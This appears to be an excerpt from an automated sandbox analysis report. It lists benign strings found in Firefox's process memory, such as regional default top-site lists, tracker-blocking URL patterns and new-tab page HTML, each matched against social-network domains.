Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/AND (bookmarked OR frecency > 20) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/AND (bookmarked OR frecency > 20) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/AND (bookmarked OR frecency > 20) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3138334196.0000016D66408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3138334196.0000016D66408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6065F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6065F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000017.00000002.3138334196.0000016D66412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$Got invalid request to save JSON datadevtools/client/framework/devtoolsJSON Viewer's onSave failed in startPersistenceFailed to listen. Listener already attached.devtools.debugger.remote-websocketFailed to listen. Callback argument missing.browser and that URL. Falling back to Failed to execute WebChannel callback:devtools-commandkey-profiler-start-stopDevToolsStartup.jsm:handleDebuggerFlagNo callback set for this channel.WebChannel/this._originCheckCallbackdevtools.debugger.features.javascript-tracing@mozilla.org/network/protocol;1?name=default@mozilla.org/uriloader/handler-service;1releaseDistinctSystemPrincipalLoaderresource://devtools/shared/security/socket.jsbrowser.urlbar.dnsResolveFullyQualifiedNames{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}devtools.performance.popup.feature-flagdevtools/client/framework/devtools-browserresource://devtools/server/devtools-server.jsUnable to start devtools server on DevTools telemetry entry point failed: @mozilla.org/network/protocol;1?name=filebrowser.fixup.dns_first_for_single_wordsand deploy previews URLs are allowed.devtools-commandkey-profiler-capturedevtools.performance.recording.ui-base-urldevtools-commandkey-javascript-tracing-toggle@mozilla.org/dom/slow-script-debug;1resource://gre/modules/FileUtils.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%sget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPresource://gre/modules/JSONFile.sys.mjshttp://www.inbox.lv/rfc2368/?value=%s^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?{c6cf88b7-452e-47eb-bdc9-86e3561648ef}_injectDefaultProtocolHandlersIfNeededisDownloadsImprovementsAlreadyMigratedhttps://mail.inbox.lv/compose?to=%s^([a-z+.-]+:\/{0,3})([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)https://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this typegecko.handlerService.defaultHandlersVersionget FIXUP_FLAGS_MAKE_ALTERNATE_URI@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjsCan't invoke URIFixup in the content processhttp://poczta.interia.pl/mh/?mailto=%sextractScheme/fixupChangedProtocol<http://win.mail.ru/cgi-bin/sentmsg?mailto=%s{33d75835-722f-42c0-89cc-44f328e56a86}browser.fixup.domainsuffixwhitelist.resource://gre/modules/NetUtil.sys.mjsget FIXUP_FLAG_FORCE_ALTERNATE_URIScheme should be either http or httpsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/input-stream-pump;1newChannel requires a single object argumentSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/network/async-stream-copier;1@mozilla.org/network/simple-stream-listener;1@mozilla.org/intl/converter-input-stream;1https://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sresour
Source: firefox.exe, 00000017.00000002.3114237804.0000016D61C76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000017.00000002.3114237804.0000016D61C76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
